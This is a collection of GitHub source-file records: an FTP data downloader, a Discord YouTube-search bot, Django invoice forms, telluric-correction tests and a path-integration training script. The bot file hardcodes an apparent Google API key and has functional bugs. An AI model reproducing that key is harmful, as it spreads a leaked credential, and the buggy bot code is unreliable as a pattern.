txt_file_name)\n print(\"Sampling file...\")\n if low_memory:\n sample_lines = list()\n total_lines = _get_total_lines(txt_path)\n sample_idxs = _random_lines(total_lines)\n with open(txt_path, 'r', encoding='latin1') as txt_file:\n for idx, line in enumerate(txt_file):\n if idx in sample_idxs:\n sample_lines.append(line)\n else:\n with open(txt_path, 'r', encoding='latin1') as txt_file:\n content_lines = txt_file.readlines()\n sample_idxs = _random_lines(len(content_lines))\n sample_lines = [content_lines[i] for i in sample_idxs]\n return sample_lines\n\n\ndef get_content_locally(file_name, ftp, low_memory):\n with io.BytesIO() as local_file:\n ftp.retrbinary('RETR ' + file_name, local_file.write)\n local_file.seek(0)\n txt = file_name.replace(\"7z\", \"txt\")\n print(\"Extracting file: \", txt)\n sample = _extract_txt_from_7z(local_file, txt, low_memory)\n return sample\n\n\ndef file_exists(name):\n full_path = os.path.join(SAVE_PATH, name)\n return os.path.isfile(full_path)\n\n\ndef create_sample_dataframe(data):\n file_like_content = io.StringIO(data)\n df = pd.read_csv(\n file_like_content,\n sep=\";\",\n decimal=\",\",\n header=0,\n usecols=lambda col: col not in to_drop,\n dtype={\n \"CBO Ocupação 2002\": str,\n \"Mês Desligamento\": str\n }\n )\n return df\n\n\ndef get_region(file_name):\n return file_name.rsplit(\".\", 1)[0].split(\"PUB_\")[1]\n\n\ndef save_data(df, name):\n if not os.path.exists(SAVE_PATH):\n os.makedirs(SAVE_PATH)\n print(\"Saving data on: \", SAVE_PATH)\n # df.to_csv(os.path.join(SAVE_PATH, name), index=False, sep=\";\")\n df.to_parquet(os.path.join(SAVE_PATH, name), engine=\"fastparquet\")\n\n\ndef save_dataframe(year, folder, ftp, low_memory=False):\n name = f'{year}_{folder.replace(\"7z\", \"parquet\")}'\n if file_exists(name):\n print(f\"The file {name} already exists.\")\n return None\n print(\"Acessing dir: \", folder)\n sample = get_content_locally(folder, ftp, low_memory)\n region = get_region(folder)\n\n print(\"Creating dataframe for: \", region)\n df = create_sample_dataframe(\"\\r\\n\".join(sample))\n df[\"Regiao\"] = region\n df[\"Ano\"] = year\n save_data(df, name)\n print(\"Done!\")\n print()\n\n\ndef main(year):\n path = f\"{rais_path}{year}\"\n ftp = FTP(ftp_host)\n ftp.login()\n ftp.cwd(path)\n\n folders = [file for file in ftp.nlst() if file != \"RAIS_ESTAB_PUB.7z\"]\n\n for folder in folders:\n save_dataframe(year, folder, ftp)\n\n\nif __name__ == \"__main__\":\n typer.run(main)\n","repo_name":"danqroz/Employee-Attrition-Prediction","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":4380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2938732718","text":"\n\n#for finding ranges of yards \n\n\n\ndef play_choice(down, ytd, time, distance):\n return (down * ytd * time)/ distance\n\n\n\n\n\n\n\ndown = 1\nytd = 1\ntime = 0\n\ndistance = 30\n\nlisty1 = []\nlisty2 = []\nlisty3 = []\n\nfor i in range(30, 70):\n for j in range(down, 4):\n for k in range(51, 60):\n for l in range(ytd, 10):\n listy1.append(play_choice(j, l, k, i))\n\nfor i in range(71, 90):\n for j in range(down, 4):\n for k in range(51, 60):\n for l in range(ytd, 10):\n listy2.append(play_choice(j, l, k, i))\n\nfor i in range(91, 100):\n for j in range(down, 4):\n for k in range(51, 60):\n for l in range(ytd, 10):\n listy3.append(play_choice(j, l, k, i))\n\n\nprint(min(listy1))\nprint(max(listy1))\n\nprint(min(listy2))\nprint(max(listy2))\n\nprint(min(listy3))\nprint(max(listy3))\n\n","repo_name":"inlovem/footballPyibl","sub_path":"maths.py","file_name":"maths.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74548398963","text":"#!usr/bin/env python3\n\nimport discord\n\nfrom apiclient.discovery import build\nfrom apiclient.errors import HttpError\nfrom oauth2client.tools import argparser\n\nfrom config import BABYTOKEN\n\nclient = discord.Client()\nDEVELOPER_KEY = \"AIzaSyAtlS6Mf3ONECnN8y9BHhESN8AEy549zK0\"\nYOUTUBE_API_SERVICE_NAME = \"youtube\"\nYOUTUBE_API_VERSION = \"v3\"\n\n\ndef youtube_search(options, max=5):\n youtube = build(YOUTUBE_API_SERVICE_NAME, YOUTUBE_API_VERSION,\n developerKey=DEVELOPER_KEY)\n\n search_response = youtube.search().list(q=options, part=\"id,snippet\", maxResults=max).execute()\n\n videos = []\n\n for search_result in search_response.get(\"items\", []):\n if search_result[\"id\"][\"kind\"] == \"youtube#video\":\n videos.append(\"%s (%s)\" % (search_result[\"snippet\"][\"title\"],\n search_result[\"id\"][\"videoId\"]))\n\n print(\"Videos:\\n\", \"\\n\".join(videos), \"\\n\")\n\n\n if __name__ == \"__main__\":\n argparser.add_argument(\"--q\", help=\"Search term\", default=\"Google\")\n argparser.add_argument(\"--max\", help=\"Max\", default=25)\n args = argparser.parse_args()\n\n # try:\n youtube_search(args)\n # except HttpError e:\n # print(\"An HTTP error %d occurred:\\n%s\" % (e.resp.status, e.content))\n\n\n@client.event\nasync def on_message(message):\n # we do not want the bot to reply to itself\n if message.author == client.user:\n return\n\n if message.content.startswith('!hello'):\n msg = 'Hello {0.author.mention}'.format(message)\n await client.send_message(message.channel, msg)\n\n if message.content.startswith('!çava'):\n msg = 'Très bien et toi ? {0.author.mention}'.format(message)\n await client.send_message(message.channel, msg)\n\n if message.content.startswith('!joyeux'):\n msg = 'Joyeux anniversaire {0.author.mention}'.format(message)\n await client.send_message(message.channel, msg)\n \n if message.content.startswith('!play'):\n words = message.content.split()\n important_words = words[1:]\n await client.send_message(message.channel, youtube_search(important_words))\n\n@client.event\nasync def on_ready():\n print('Logged in as')\n print(client.user.name)\n print(client.user.id)\n print('------')\n\n#connexion de mon bot sur discord\nclient.run(BABYTOKEN)\n\n\n","repo_name":"BeverleyB/Projet_Python","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38109810373","text":"from crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Column, Div, HTML, Layout, Row\nfrom django import forms\nfrom django.forms import BaseInlineFormSet, inlineformset_factory, ModelForm\nfrom django.forms.widgets import NumberInput\n\nfrom invoices.models import Address, Company, Contact, Customer, Invoice, OrderLine, Product\n\n\nclass InvoiceForm(ModelForm):\n customer = forms.ModelChoiceField(\n queryset=Customer.objects.order_by('company'))\n issued_date = forms.DateField(widget=NumberInput(attrs={'type': 'date'}))\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout(\n Row(\n Column(\n 'sequence', css_class='form-group col-lg-3 col-md-3 col-sm-6 mb-0'),\n Column(\n 'number', css_class='form-group col-lg-3 col-md-3 col-sm-6 mb-0'),\n Column('issued_date',\n css_class='form-group col-lg-3 col-md-3 col-sm-3 mb-0'),\n Column(\n 'customer', css_class='form-group col-lg-3 col-md-3 col-sm-6 mb-0'),\n css_class='form-row'\n )\n )\n\n class Meta:\n model = Invoice\n fields = ['sequence', 'number', 'issued_date', 'customer']\n\n\nclass OrderLineForm(ModelForm):\n product = forms.ModelChoiceField(queryset=Product.objects.order_by('name'))\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout(\n\n Row(\n Column('id', type=\"hidden\", css_class=\"d-none\"),\n Column('DELETE', type=\"hidden\", css_class=\"d-none\"),\n Column(\n 'product', css_class='form-group col-lg-3 col-md-3 col-sm-5 mb-0'),\n Column(\n 'quantity', css_class='form-group col-lg-3 col-md-3 col-sm-3 mb-0'),\n Column('unit_price',\n css_class='form-group col-lg-3 col-md-3 col-sm-3 mb-0'),\n Div(\n HTML(\"\"\"\n \"\"\"),\n css_class=\"form-group col-lg-1 col-md-1 col-sm-1 mb-0 box-btn-add-product\"), css_class=\"formsetDynamic\"\n )\n )\n\n class Meta:\n model = OrderLine\n fields = ['product', 'quantity', 'unit_price']\n\n\nclass BaseInlineOrderFormSet(BaseInlineFormSet):\n deletion_widget = forms.HiddenInput\n\n\nOrderLineFormSet = inlineformset_factory(\n Invoice, OrderLine, form=OrderLineForm, formset=BaseInlineOrderFormSet, fields=('product', 'quantity', 'unit_price'), extra=1, can_delete=True)\n\n\nclass ContactForm(ModelForm):\n prefix = 'contact'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout(\n Row(\n Column(\n 'name', css_class='form-group col-lg-3 col-md-3 col-sm-5 mb-0'),\n Column(\n 'email', css_class='form-group col-lg-4 col-md-3 col-sm-3 mb-0'),\n Column(\n 'cc_email', css_class='form-group col-lg-12 col-md-3 col-sm-3 mb-0'),\n )\n )\n\n class Meta:\n model = Contact\n fields = ['name', 'email', 'cc_email']\n\n\nclass AddressForm(ModelForm):\n prefix = 'address'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout(\n Row(\n Column(\n 'street', css_class='form-group col-lg-6 col-md-3 col-sm-5 mb-0'),\n Column(\n 'postal_code', css_class='form-group col-lg-3 col-md-3 col-sm-3 mb-0'),\n Column(\n 'city', css_class='form-group col-lg-3 col-md-3 col-sm-3 mb-0'),\n )\n )\n\n class Meta:\n model = Address\n fields = ['city', 'postal_code', 'street']\n\n\nclass CompanyForm(ModelForm):\n prefix = 'company'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.fields['customer_information_file_number'].label = 'CIF'\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout(\n Row(\n Column(\n 'name', css_class='form-group col-lg-3 col-md-3 col-sm-5 mb-0'),\n Column(\n 'customer_information_file_number', css_class='form-group col-lg-2 col-md-3 col-sm-3 mb-0'),\n )\n )\n\n class Meta:\n model = Company\n fields = ['name', 'customer_information_file_number']\n","repo_name":"aalexmrt/django-invoices-generator","sub_path":"invoices/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"75092228403","text":"# -*- coding: utf-8 -*-\nimport copy\nimport os\nfrom unittest.mock import patch\n\nimport numpy as np\nfrom aspired import spectral_reduction\nfrom aspired.flux_calibration import FluxCalibration\n\nHERE = os.path.dirname(os.path.realpath(__file__))\n\n\ndef test_telluric_square_wave():\n wave = np.arange(1000.0)\n flux_sci = np.ones(1000) * 5.0\n flux_std = np.ones(1000) * 100.0\n\n flux_sci_continuum = copy.deepcopy(flux_sci)\n flux_std_continuum = copy.deepcopy(flux_std)\n\n flux_sci[500:550] *= 0.01\n flux_sci[700:750] *= 0.001\n flux_sci[850:950] *= 0.1\n\n flux_std[500:550] *= 0.01\n flux_std[700:750] *= 0.001\n flux_std[850:950] *= 0.1\n\n # Get the telluric profile\n fluxcal = FluxCalibration(log_file_name=None)\n telluric_func, _, _ = fluxcal.get_telluric_profile(\n wave,\n flux_std,\n flux_std_continuum,\n mask_range=[[495, 551], [700, 753], [848, 960]],\n return_function=True,\n )\n\n onedspec = spectral_reduction.OneDSpec(log_file_name=None)\n onedspec.science_spectrum_list[0].add_wavelength(wave)\n onedspec.science_spectrum_list[0].add_flux(flux_sci, None, None)\n onedspec.science_spectrum_list[0].add_flux_continuum(flux_sci_continuum)\n onedspec.science_data_available = True\n # onedspec.fluxcal.spectrum_oned.add_wavelength(wave)\n # onedspec.fluxcal.spectrum_oned.add_flux(flux_std, None, None)\n # onedspec.fluxcal.spectrum_oned.add_flux_continuum(flux_std_continuum)\n\n onedspec.add_telluric_function(telluric_func, stype=\"science\")\n onedspec.get_telluric_strength()\n onedspec.apply_telluric_correction()\n\n assert np.isclose(\n np.nansum(onedspec.science_spectrum_list[0].flux_telluric_corrected),\n np.nansum(flux_sci_continuum),\n rtol=1e-2,\n )\n\n onedspec.inspect_telluric_correction(\n display=False,\n return_jsonstring=True,\n save_fig=True,\n fig_type=\"iframe+jpg+png+svg+pdf\",\n filename=os.path.join(HERE, \"test_output\", \"test_telluric\"),\n )\n\n\n@patch(\"plotly.graph_objects.Figure.show\")\ndef test_telluric_real_data(mock_show):\n std_wave = np.load(os.path.join(HERE, \"test_data\", \"std_wave.npy\"))\n std_flux = np.load(os.path.join(HERE, \"test_data\", \"std_flux.npy\"))\n std_flux_continuum = np.load(\n os.path.join(HERE, \"test_data\", \"std_flux_continuum.npy\")\n )\n sci_wave = np.load(os.path.join(HERE, \"test_data\", \"sci_wave.npy\"))\n sci_flux = np.load(os.path.join(HERE, \"test_data\", \"sci_flux.npy\"))\n sci_flux_continuum = np.load(\n os.path.join(HERE, \"test_data\", \"sci_flux_continuum.npy\")\n )\n\n # Get the telluric profile\n fluxcal = FluxCalibration(log_file_name=None)\n telluric_func, _, _ = fluxcal.get_telluric_profile(\n std_wave, std_flux, std_flux_continuum, return_function=True\n )\n\n onedspec = spectral_reduction.OneDSpec(log_file_name=None)\n onedspec.science_spectrum_list[0].add_wavelength(sci_wave)\n onedspec.science_spectrum_list[0].add_flux(sci_flux, None, None)\n onedspec.science_spectrum_list[0].add_flux_continuum(sci_flux_continuum)\n onedspec.science_data_available = True\n onedspec.fluxcal.spectrum_oned.add_wavelength(std_wave)\n onedspec.fluxcal.spectrum_oned.add_flux(std_flux, None, None)\n onedspec.fluxcal.spectrum_oned.add_flux_continuum(std_flux_continuum)\n\n onedspec.add_telluric_function(telluric_func)\n onedspec.apply_telluric_correction()\n\n assert np.isclose(\n np.nansum(onedspec.science_spectrum_list[0].flux),\n np.nansum(sci_flux_continuum),\n rtol=1e-2,\n )\n\n onedspec.inspect_telluric_profile(\n display=True,\n return_jsonstring=True,\n save_fig=True,\n fig_type=\"iframe+jpg+png+svg+pdf\",\n filename=os.path.join(HERE, \"test_output\", \"test_telluric\"),\n )\n","repo_name":"cylammarco/ASPIRED","sub_path":"test/test_telluric.py","file_name":"test_telluric.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"75"} +{"seq_id":"70353933363","text":"import matplotlib\nimport os\n# allow code to work on machines without a display or in a screen session\ndisplay = os.environ.get('DISPLAY')\nif display is None or 'localhost' in display:\n matplotlib.use('agg')\n\nimport argparse\nimport numpy as np\n# NOTE: this is currently soft-linked to this directory\nfrom arguments import add_parameters\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom datasets import train_test_loaders\nfrom models import SSPPathIntegrationModel\nfrom datetime import datetime\nfrom tensorboardX import SummaryWriter\nimport json\nfrom spatial_semantic_pointers.utils import get_heatmap_vectors, ssp_to_loc, ssp_to_loc_v\nfrom spatial_semantic_pointers.plots import plot_predictions, plot_predictions_v\nimport matplotlib.pyplot as plt\nfrom path_integration_utils import pc_to_loc_v, encoding_func_from_model, pc_gauss_encoding_func\n\n\nparser = argparse.ArgumentParser('Run 2D supervised path integration experiment using pytorch')\n\nparser = add_parameters(parser)\n\nparser.add_argument('--seed', type=int, default=13)\nparser.add_argument('--n-epochs', type=int, default=20)\nparser.add_argument('--n-samples', type=int, default=1000)\nparser.add_argument('--encoding', type=str, default='ssp',\n choices=['ssp', '2d', 'pc', 'frozen-learned', 'pc-gauss', 'pc-gauss-softmax'])\nparser.add_argument('--eval-period', type=int, default=50)\nparser.add_argument('--logdir', type=str, default='output/ssp_path_integration',\n help='Directory for saved model and tensorboard log')\nparser.add_argument('--dataset', type=str, default='../lab/reproducing/data/path_integration_trajectories_logits_200t_15s_seed13.npz')\nparser.add_argument('--load-saved-model', type=str, default='', help='Saved model to load from')\n# parser.add_argument('--use-cosine-loss', action='store_true')\nparser.add_argument('--loss-function', type=str, default='mse', choices=['mse', 'cosine', 'combined', 'alternating', 'scaled'])\nparser.add_argument('--frozen-model', type=str, default='', help='model to use frozen encoding weights from')\nparser.add_argument('--pc-gauss-sigma', type=float, default=0.01)\nparser.add_argument('--dropout-p', type=float, default=0.5)\n\nargs = parser.parse_args()\n\ntorch.manual_seed(args.seed)\nnp.random.seed(args.seed)\n\ncurrent_time = datetime.now().strftime('%b%d_%H-%M-%S')\nsave_dir = os.path.join(args.logdir, current_time)\nwriter = SummaryWriter(log_dir=save_dir)\n\ndata = np.load(args.dataset)\n\nx_axis_vec = data['x_axis_vec']\ny_axis_vec = data['y_axis_vec']\nssp_scaling = data['ssp_scaling']\n\npc_centers = data['pc_centers']\npc_activations = data['pc_activations']\n\n# only used for frozen-learned and other custom encoding functions\nencoding_func = None\n\nif args.encoding == 'ssp':\n dim = 512\nelif args.encoding == '2d':\n dim = 2\n ssp_scaling = 1 # no scaling used for 2D coordinates directly\nelif args.encoding == 'pc':\n dim = args.n_place_cells\n ssp_scaling = 1\nelif args.encoding == 'frozen-learned':\n dim = 512 # TODO: add options for different dim?\n ssp_scaling = 1\n # Generate an encoding function from the model path\n encoding_func = encoding_func_from_model(args.frozen_model)\nelif args.encoding == 'pc-gauss' or args.encoding == 'pc-gauss-softmax':\n dim = 512 # TODO: add options for different dim?\n ssp_scaling = 1\n use_softmax = args.encoding == 'pc-guass-softmax'\n # Generate an encoding function from the model path\n rng = np.random.RandomState(args.seed)\n encoding_func = pc_gauss_encoding_func(\n limit_low=0 * ssp_scaling, limit_high=2.2 * ssp_scaling,\n dim=dim, rng=rng, sigma=args.pc_gauss_sigma,\n use_softmax=use_softmax\n )\nelse:\n raise NotImplementedError\n\nlimit_low = 0 * ssp_scaling\nlimit_high = 2.2 * ssp_scaling\nres = 128 #256\n\nxs = np.linspace(limit_low, limit_high, res)\nys = np.linspace(limit_low, limit_high, res)\n\nif args.encoding == 'frozen-learned' or args.encoding == 'pc-gauss' or args.encoding == 'pc-gauss-softmax':\n # encoding for every point in a 2D linspace, for approximating a readout\n\n # FIXME: inefficient but will work for now\n heatmap_vectors = np.zeros((len(xs), len(ys), dim))\n\n for i, x in enumerate(xs):\n for j, y in enumerate(ys):\n heatmap_vectors[i, j, :] = encoding_func(\n # batch dim\n # np.array(\n # [[x, y]]\n # )\n # no batch dim\n np.array(\n [x, y]\n )\n )\n\n heatmap_vectors[i, j, :] /= np.linalg.norm(heatmap_vectors[i, j, :])\n\nelse:\n # Used for visualization of test set performance using pos = ssp_to_loc(sp, heatmap_vectors, xs, ys)\n heatmap_vectors = get_heatmap_vectors(xs, ys, x_axis_vec, y_axis_vec)\n\n\n# n_samples = 5000\nn_samples = args.n_samples#1000\nrollout_length = args.trajectory_length#100\nbatch_size = args.minibatch_size#10\nn_epochs = args.n_epochs#20\n# n_epochs = 5\n\nmodel = SSPPathIntegrationModel(unroll_length=rollout_length, sp_dim=dim, dropout_p=args.dropout_p)\n\nif args.load_saved_model:\n model.load_state_dict(torch.load(args.load_saved_model), strict=False)\n\nif args.encoding == 'pc':\n # Binary cross-entropy loss\n # criterion = nn.BCELoss()\n # more numerically stable. Do not use softmax beforehand\n criterion = nn.BCEWithLogitsLoss()\nelse:\n # trying out cosine similarity here as well, it works better than MSE as a loss for SSP cleanup\n cosine_criterion = nn.CosineEmbeddingLoss()\n mse_criterion = nn.MSELoss()\n\noptimizer = optim.RMSprop(model.parameters(), lr=args.learning_rate, momentum=args.momentum)\n\ntrainloader, testloader = train_test_loaders(\n data,\n n_train_samples=n_samples,\n n_test_samples=n_samples,\n rollout_length=rollout_length,\n batch_size=batch_size,\n encoding=args.encoding,\n encoding_func=encoding_func,\n)\n\nparams = vars(args)\nwith open(os.path.join(save_dir, \"params.json\"), \"w\") as f:\n json.dump(params, f)\n\n# Keep track of running average losses, to adaptively scale the weight between them\nrunning_avg_cosine_loss = 1.\nrunning_avg_mse_loss = 1.\n\nprint(\"Training\")\nfor epoch in range(n_epochs):\n print(\"Epoch {} of {}\".format(epoch + 1, n_epochs))\n\n\n # TODO: modularize this and clean it up\n # Every 'eval_period' epochs, create a test loss and image\n if epoch % args.eval_period == 0:\n print(\"Evaluating\")\n with torch.no_grad():\n # Everything is in one batch, so this loop will only happen once\n for i, data in enumerate(testloader):\n velocity_inputs, ssp_inputs, ssp_outputs = data\n\n ssp_pred = model(velocity_inputs, ssp_inputs)\n\n # NOTE: need to permute axes of the targets here because the output is\n # (sequence length, batch, units) instead of (batch, sequence_length, units)\n # could also permute the outputs instead\n if args.encoding == 'pc':\n # place cell version needs to explicitly do the softmax here\n loss = criterion(ssp_pred, F.softmax(ssp_outputs.permute(1, 0, 2), dim=2))\n print(\"test loss\", loss.data.item())\n writer.add_scalar('test_loss', loss.data.item(), epoch)\n else:\n cosine_loss = cosine_criterion(\n ssp_pred.reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n ssp_outputs.permute(1, 0, 2).reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n torch.ones(ssp_pred.shape[0] * ssp_pred.shape[1])\n )\n mse_loss = mse_criterion(ssp_pred, ssp_outputs.permute(1, 0, 2))\n\n print(\"test cosine loss\", cosine_loss.data.item())\n print(\"test mse loss\", mse_loss.data.item())\n writer.add_scalar('test_cosine_loss', cosine_loss.data.item(), epoch)\n writer.add_scalar('test_mse_loss', mse_loss.data.item(), epoch)\n writer.add_scalar('test_combined_loss', mse_loss.data.item() + cosine_loss.data.item(), epoch)\n c_f = (running_avg_mse_loss / (running_avg_mse_loss + running_avg_cosine_loss))\n m_f = (running_avg_cosine_loss / (running_avg_mse_loss + running_avg_cosine_loss))\n writer.add_scalar(\n 'test_scaled_loss',\n mse_loss.data.item() * m_f + cosine_loss.data.item() * c_f,\n epoch\n )\n\n # print(\"ssp_pred.shape\", ssp_pred.shape)\n # print(\"ssp_outputs.shape\", ssp_outputs.shape)\n\n # Just use start and end location to save on memory and computation\n predictions_start = np.zeros((ssp_pred.shape[1], 2))\n coords_start = np.zeros((ssp_pred.shape[1], 2))\n\n predictions_end = np.zeros((ssp_pred.shape[1], 2))\n coords_end = np.zeros((ssp_pred.shape[1], 2))\n\n if args.encoding == 'ssp':\n print(\"computing prediction locations\")\n predictions_start[:, :] = ssp_to_loc_v(\n ssp_pred.detach().numpy()[0, :, :],\n heatmap_vectors, xs, ys\n )\n predictions_end[:, :] = ssp_to_loc_v(\n ssp_pred.detach().numpy()[-1, :, :],\n heatmap_vectors, xs, ys\n )\n print(\"computing ground truth locations\")\n coords_start[:, :] = ssp_to_loc_v(\n ssp_outputs.detach().numpy()[:, 0, :],\n heatmap_vectors, xs, ys\n )\n coords_end[:, :] = ssp_to_loc_v(\n ssp_outputs.detach().numpy()[:, -1, :],\n heatmap_vectors, xs, ys\n )\n elif args.encoding == '2d':\n print(\"copying prediction locations\")\n predictions_start[:, :] = ssp_pred.detach().numpy()[0, :, :]\n predictions_end[:, :] = ssp_pred.detach().numpy()[-1, :, :]\n print(\"copying ground truth locations\")\n coords_start[:, :] = ssp_outputs.detach().numpy()[:, 0, :]\n coords_end[:, :] = ssp_outputs.detach().numpy()[:, -1, :]\n elif args.encoding == 'pc':\n # (quick hack is to just use the most activated place cell center)\n predictions_start[:, :] = pc_to_loc_v(\n pc_activations=ssp_pred.detach().numpy()[0, :, :],\n centers=pc_centers,\n jitter=0.01\n )\n predictions_end[:, :] = pc_to_loc_v(\n pc_activations=ssp_pred.detach().numpy()[-1, :, :],\n centers=pc_centers,\n jitter=0.01\n )\n\n coords_start[:, :] = pc_to_loc_v(\n pc_activations=ssp_outputs.detach().numpy()[:, 0, :],\n centers=pc_centers,\n jitter=0.01\n )\n coords_end[:, :] = pc_to_loc_v(\n pc_activations=ssp_outputs.detach().numpy()[:, -1, :],\n centers=pc_centers,\n jitter=0.01\n )\n elif args.encoding == 'frozen-learned' or args.encoding == 'pc-gauss' or args.encoding == 'pc-gauss-softmax':\n # normalizing is important here\n print(\"computing prediction locations\")\n pred_start = ssp_pred.detach().numpy()[0, :, :]\n pred_start = pred_start / pred_start.sum(axis=1)[:, np.newaxis]\n predictions_start[:, :] = ssp_to_loc_v(\n pred_start,\n heatmap_vectors, xs, ys\n )\n pred_end = ssp_pred.detach().numpy()[-1, :, :]\n pred_end = pred_end / pred_end.sum(axis=1)[:, np.newaxis]\n predictions_end[:, :] = ssp_to_loc_v(\n pred_end,\n heatmap_vectors, xs, ys\n )\n print(\"computing ground truth locations\")\n coord_start = ssp_outputs.detach().numpy()[:, 0, :]\n coord_start = coord_start / coord_start.sum(axis=1)[:, np.newaxis]\n coords_start[:, :] = ssp_to_loc_v(\n coord_start,\n heatmap_vectors, xs, ys\n )\n coord_end = ssp_outputs.detach().numpy()[:, -1, :]\n coord_end = coord_end / coord_end.sum(axis=1)[:, np.newaxis]\n coords_end[:, :] = ssp_to_loc_v(\n coord_end,\n heatmap_vectors, xs, ys\n )\n\n fig_pred_start, ax_pred_start = plt.subplots()\n fig_truth_start, ax_truth_start = plt.subplots()\n fig_pred_end, ax_pred_end = plt.subplots()\n fig_truth_end, ax_truth_end = plt.subplots()\n\n print(\"plotting predicted locations\")\n plot_predictions_v(predictions_start / ssp_scaling, coords_start / ssp_scaling, ax_pred_start, min_val=0, max_val=2.2)\n plot_predictions_v(predictions_end / ssp_scaling, coords_end / ssp_scaling, ax_pred_end, min_val=0, max_val=2.2)\n print(\"plotting ground truth locations\")\n plot_predictions_v(coords_start / ssp_scaling, coords_start / ssp_scaling, ax_truth_start, min_val=0, max_val=2.2)\n plot_predictions_v(coords_end / ssp_scaling, coords_end / ssp_scaling, ax_truth_end, min_val=0, max_val=2.2)\n\n writer.add_figure(\"predictions start\", fig_pred_start, epoch)\n writer.add_figure(\"ground truth start\", fig_truth_start, epoch)\n\n writer.add_figure(\"predictions end\", fig_pred_end, epoch)\n writer.add_figure(\"ground truth end\", fig_truth_end, epoch)\n\n # if args.encoding == 'ssp':\n # torch.save(\n # model.state_dict(),\n # os.path.join(save_dir, 'ssp_path_integration_model_epoch_{}.pt'.format(epoch))\n # )\n # elif args.encoding == '2d':\n # torch.save(\n # model.state_dict(),\n # os.path.join(save_dir, '2d_path_integration_model_epoch_{}.pt'.format(epoch))\n # )\n\n torch.save(\n model.state_dict(),\n os.path.join(save_dir, '{}_path_integration_model_epoch_{}.pt'.format(args.encoding, epoch))\n )\n\n avg_bce_loss = 0\n avg_cosine_loss = 0\n avg_mse_loss = 0\n avg_combined_loss = 0\n avg_scaled_loss = 0\n n_batches = 0\n for i, data in enumerate(trainloader):\n velocity_inputs, ssp_inputs, ssp_outputs = data\n\n if ssp_inputs.size()[0] != batch_size:\n continue # Drop data, not enough for a batch\n optimizer.zero_grad()\n # model.zero_grad()\n\n ssp_pred = model(velocity_inputs, ssp_inputs)\n\n # NOTE: need to permute axes of the targets here because the output is\n # (sequence length, batch, units) instead of (batch, sequence_length, units)\n # could also permute the outputs instead\n if args.encoding == 'pc':\n # place cell version needs to explicitly do the softmax here\n loss = criterion(ssp_pred, F.softmax(ssp_outputs.permute(1, 0, 2), dim=2))\n loss.backward()\n avg_bce_loss += loss.data.item()\n else:\n cosine_loss = cosine_criterion(\n ssp_pred.reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n ssp_outputs.permute(1, 0, 2).reshape(ssp_pred.shape[0] * ssp_pred.shape[1], ssp_pred.shape[2]),\n torch.ones(ssp_pred.shape[0] * ssp_pred.shape[1])\n )\n mse_loss = mse_criterion(ssp_pred, ssp_outputs.permute(1, 0, 2))\n loss = cosine_loss + mse_loss\n\n # adaptive weighted combination of the two loss functions\n c_f = (running_avg_mse_loss / (running_avg_mse_loss + running_avg_cosine_loss))\n m_f = (running_avg_cosine_loss / (running_avg_mse_loss + running_avg_cosine_loss))\n scaled_loss = cosine_loss * c_f + mse_loss * m_f\n\n if args.loss_function == 'cosine':\n cosine_loss.backward()\n elif args.loss_function == 'mse':\n mse_loss.backward()\n elif args.loss_function == 'combined':\n loss.backward()\n elif args.loss_function == 'alternating':\n if epoch % 2 == 0:\n cosine_loss.backward()\n else:\n mse_loss.backward()\n elif args.loss_function == 'scaled':\n scaled_loss.backward()\n\n avg_cosine_loss += cosine_loss.data.item()\n avg_mse_loss += mse_loss.data.item()\n avg_combined_loss += (cosine_loss.data.item() + mse_loss.data.item())\n avg_scaled_loss += scaled_loss.data.item()\n\n # Gradient Clipping\n torch.nn.utils.clip_grad_norm_(model.parameters(), args.grad_clip_thresh)\n\n optimizer.step()\n\n # avg_loss += loss.data.item()\n n_batches += 1\n\n if args.encoding == 'pc':\n avg_bce_loss /= n_batches\n print(\"bce loss:\", avg_bce_loss)\n writer.add_scalar('avg_bce_loss', avg_bce_loss, epoch + 1)\n else:\n avg_cosine_loss /= n_batches\n avg_mse_loss /= n_batches\n avg_combined_loss /= n_batches\n avg_scaled_loss /= n_batches\n print(\"cosine loss:\", avg_cosine_loss)\n print(\"mse loss:\", avg_mse_loss)\n print(\"combined loss:\", avg_combined_loss)\n print(\"scaled loss:\", avg_scaled_loss)\n\n running_avg_cosine_loss = 0.9 * running_avg_cosine_loss + 0.1 * avg_cosine_loss\n running_avg_mse_loss = 0.9 * running_avg_mse_loss + 0.1 * avg_mse_loss\n print(\"running_avg_cosine_loss\", running_avg_cosine_loss)\n print(\"running_avg_mse_loss\", running_avg_mse_loss)\n\n writer.add_scalar('avg_cosine_loss', avg_cosine_loss, epoch + 1)\n writer.add_scalar('avg_mse_loss', avg_mse_loss, epoch + 1)\n writer.add_scalar('avg_combined_loss', avg_combined_loss, epoch + 1)\n writer.add_scalar('avg_scaled_loss', 